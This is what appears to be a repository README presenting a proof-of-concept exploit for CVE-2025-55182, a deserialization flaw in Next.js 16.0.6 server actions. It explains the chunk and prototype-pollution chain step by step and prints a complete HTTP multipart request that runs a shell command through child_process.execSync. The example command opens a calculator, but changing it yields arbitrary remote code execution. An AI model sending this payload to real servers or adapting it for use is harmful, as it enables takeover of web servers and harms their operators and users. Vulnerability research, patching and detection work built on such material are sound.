POC for CVE-2025-55182 – Next.js 16.0.6 Remote Code Execution

This repository contains a working proof-of-concept (POC) for CVE-2025-55182, a critical deserialization vulnerability affecting Next.js 16.0.6. The exploit abuses $@ chunk deserialization and Chunk.prototype.then to gain full control over the chunk resolution process and achieve arbitrary code execution (RCE) on the server.

Vulnerability Summary

Next.js uses internal Chunk objects and a streaming/deserialization mechanism for server actions. By abusing $@ to deserialize a Chunk reference and injecting Chunk.prototype.then into the root object, an attacker can:

• Force Next.js to call then(...) with attacker-controlled this
• Set the chunk status to resolved_model
• Trigger initializeModelChunk with a fake chunk fully controlled by the attacker
• Abuse chunk._response methods to reach dangerous internal behavior

The final goal is to trigger Blob deserialization, which executes a call like:

response._formData.get(response._prefix)

By setting response._formData.get = Function and putting arbitrary code in response._prefix, the attacker can execute arbitrary system commands.

Exploit POC

The HTTP request in poc/CVE-2025-55182.http demonstrates the exploit against Next.js 16.0.6 running locally, spawning xcalc via child_process.execSync:

POST / HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
Next-Action: x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Length: 459

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"process.mainModule.require('child_process').execSync('xcalc');","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

Repository Layout

/
├── README.md
├── DISCLAIMER.md
├── poc/
│   └── CVE-2025-55182.http
└── analysis/
    └── exploitation-notes.md

Disclaimer

This project is provided strictly for educational and research purposes only. Do NOT use this exploit on any system you do not own or do not have explicit written permission to test.

The author takes no responsibility for any misuse or damage caused.